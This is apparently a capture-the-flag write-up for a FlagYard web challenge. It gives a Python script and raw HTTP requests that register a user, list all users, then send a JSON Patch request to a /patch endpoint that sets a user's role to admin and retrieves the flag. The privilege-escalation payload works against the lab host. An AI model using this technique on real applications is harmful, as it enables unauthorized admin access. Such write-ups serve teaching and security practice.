- Published on
FlagYard - OhMyPatch - Web
- Authors
- Name
- Asif Masood
- @A51F221B
Solution
Automated Script
import requests
import json
import sys
# Base URL
# Change this to the target URL
base_url = "http://ab68ea671c85d953548ab.playat.flagyard.com"
# User Information
username_to_register = "newuser"
name_to_find = "JohnDoe" # Change this to the desired user name
# Step 1: User Registration
register_url = f"{base_url}/register"
user_data = {
"name": name_to_find, # Use the name to find id
"username": username_to_register,
"password": "securepassword",
"age": 25,
"department": "IT"
}
print("[+] Registering user...")
register_response = requests.post(register_url, headers={
"Content-Type": "application/json"}, data=json.dumps(user_data))
if register_response.status_code == 200:
print("[+] User registered successfully.")
response_json = register_response.json()
# Fetch token from the correct key
token = response_json.get("access_token")
if token:
print(f"[+] Token retrieved: {token}")
else:
print("[-] Token not found in the registration response.")
print("Response:", response_json)
sys.exit(1)
else:
print(f"[-] Failed to register user. Status Code: {register_response.status_code}, Response: {register_response.text}")
sys.exit(1)
# Step 2: Fetch all users to get user ID
users_url = f"{base_url}/users" # Use the base URL
print("[+] Fetching all users...")
# Verify that the token is valid before using it
if len(token.split(".")) != 3:
print(f"[-] Invalid JWT token format: {token}")
sys.exit(1)
users_response = requests.get(
users_url, headers={"Authorization": f"Bearer {token}"})
if users_response.status_code == 200:
users_data = users_response.json()
print(f"[+] Users fetched successfully: {users_data}")
else:
print(f"[-] Failed to fetch users. Status Code: {users_response.status_code}, Response: {users_response.text}")
sys.exit(1)
# Find our user by the "name" field
user_id = None
for user in users_data['users']:
if user['name'] == name_to_find:
user_id = user['id']
break
if user_id is None:
print(f"[-] Failed to find the user '{name_to_find}' in the users list.")
sys.exit(1)
else:
print(f"[+] Found user ID: {user_id}")
# Step 3: Privilege Escalation (Patch the found user ID to Admin)
patch_url = f"{base_url}/patch" # Use the base URL
patch_data = [
{
"op": "replace",
"path": f"/users/{user_id - 1}/role",
"value": "admin"
}
]
print(f"[+] Escalating privileges for user ID {user_id - 1} to admin...")
patch_response = requests.patch(patch_url, headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {token}"
}, data=json.dumps(patch_data))
if patch_response.status_code == 200:
print(f"[+] Privilege escalation successful: {patch_response.text}")
else:
print(f"[-] Failed to escalate privileges. Status Code: {patch_response.status_code}, Response: {patch_response.text}")
sys.exit(1)
# Step 4: Retrieve Flag
flag_url = f"{base_url}/flag" # Use the base URL
print("[+] Attempting to retrieve flag...")
flag_response = requests.get(flag_url, headers={
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
})
if flag_response.status_code == 200:
print(f"[+] Flag retrieved: {flag_response.text}")
else:
print(f"[-] Failed to retrieve flag. Status Code: {flag_response.status_code}, Response: {flag_response.text}")
sys.exit(1)
Manual Solution
We browse the site and find the following endpoints :
/register
/users
/
We try and find another endpoint
/flag
Now logically, we should be trying to register our own user first in order to login to the platform. Accessing the /register
endpoint gives us 405 method not allowed
. We check and see what methods are allowed using the OPTIONS
method.
OPTIONS /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Here is the response :
HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 11:18:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Allow: POST, OPTIONS
Referrer-Policy: no-referrer
We can see the POST
method is allowed, we can use this to register our own user.
POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 53
{
"username": "test",
"password": "test"
}
The server responds with :
HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Thu, 24 Oct 2024 11:20:42 GMT
Content-Type: application/json
Content-Length: 32
Connection: keep-alive
Referrer-Policy: no-referrer
{"message":"An error occurred"}
After much testing we find out that the error is because we have not set the content-type
header in our request. After doing that :
POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJpZCI6MCwibG9nZ2VkaW4iOnRydWUsInVzZXJuYW1lIjoiYW5vbiIsImFsZyI6IkhTMjU2In0.ZwLvv706.5PLjFAzetN6Tvia7BPiPvYphE8EthhAFAKkY6YRmaUE
Priority: u=0, i
Content-Length: 66
{
"username":"newuser",
"password": "securepassword"
}
We get the response :
HTTP/1.1 400 BAD REQUEST
Date: Thu, 24 Oct 2024 11:36:07 GMT
Content-Type: application/json
Content-Length: 34
Connection: keep-alive
Referrer-Policy: no-referrer
{"message":"Missing field: name"}
We add all the missing fields and successfully register our user.
POST /register HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJpZCI6MCwibG9nZ2VkaW4iOnRydWUsInVzZXJuYW1lIjoiYW5vbiIsImFsZyI6IkhTMjU2In0.ZwLvv706.5PLjFAzetN6Tvia7BPiPvYphE8EthhAFAKkY6YRmaUE
Priority: u=0, i
Content-Length: 128
{
"name": "testuser",
"username":"test",
"password": "testpassword",
"age": 23,
"department": "sec"
}
We obtain the access token :
HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 11:43:04 GMT
Content-Type: application/json
Content-Length: 384
Connection: keep-alive
Referrer-Policy: no-referrer
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyOTc3MDE4NCwianRpIjoiMjQyNDZmN2YtZWU0MC00NzAyLTkzYWItYmEzMjE3ODMwOTU4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NiwibmJmIjoxNzI5NzcwMTg0LCJjc3JmIjoiYTlhZTU0YWQtMTAwMy00ZjY1LWI4YWEtYTcyNzRlYjU1OGEyIiwiZXhwIjoxNzI5NzcxMDg0fQ.MAZV1FFaB7WA-753zK8dx0c34INA8xB-RO0noY3XuQg","message":"User registered successfully"}
Using the token we send a request to /users
endpoint to see all the users registered :
GET /users HTTP/1.1
Host: ab68ea671c85d953548ab.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729764638.36.1.1729765810.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyOTc3MDE4NCwianRpIjoiMjQyNDZmN2YtZWU0MC00NzAyLTkzYWItYmEzMjE3ODMwOTU4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NiwibmJmIjoxNzI5NzcwMTg0LCJjc3JmIjoiYTlhZTU0YWQtMTAwMy00ZjY1LWI4YWEtYTcyNzRlYjU1OGEyIiwiZXhwIjoxNzI5NzcxMDg0fQ.MAZV1FFaB7WA-753zK8dx0c34INA8xB-RO0noY3XuQg
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Response :
HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 11:43:55 GMT
Content-Type: application/json
Content-Length: 430
Connection: keep-alive
Referrer-Policy: no-referrer
{"users":[{"age":35,"department":"Engineering","id":1,"name":"Alice","role":"user"},{"age":28,"department":"Marketing","id":2,"name":"Bob","role":"user"},{"age":40,"department":"Sales","id":3,"name":"Charlie","role":"user"},{"age":23,"department":"sec","id":6,"name":"testuser","role":"user"}]}
Now from the name of the challenge itself, its clear that it has something to do with PATCH
. We find a /patch
endpoint. We can use patch endpoint to escalate our privilege to admin user.
PATCH /patch HTTP/1.1
Host: a7a129633f142bc48d027.playat.flagyard.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyOTk0NDI4OSwianRpIjoiZThkY2YzZjYtZDFjNS00Y2FkLTk2ODMtMGYwMzIzYjg4MDZjIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NCwibmJmIjoxNzI5OTQ0Mjg5LCJjc3JmIjoiOTdiMDBkZjItZDkwMi00NDEyLTkzMjctZDM4ZjY3ZDMwZDk3IiwiZXhwIjoxNzI5OTQ1MTg5fQ.ivHZvue5Da1AXoeGdHYB8CsrnEvoNmPm2DxcrNUTTSE
Content-Type: application/json
Content-Length: 55
{"op":"replace","path":"/users/3/role","value":"admin"}
After this we can send a request to /flag
endpoint to retrieve the flag.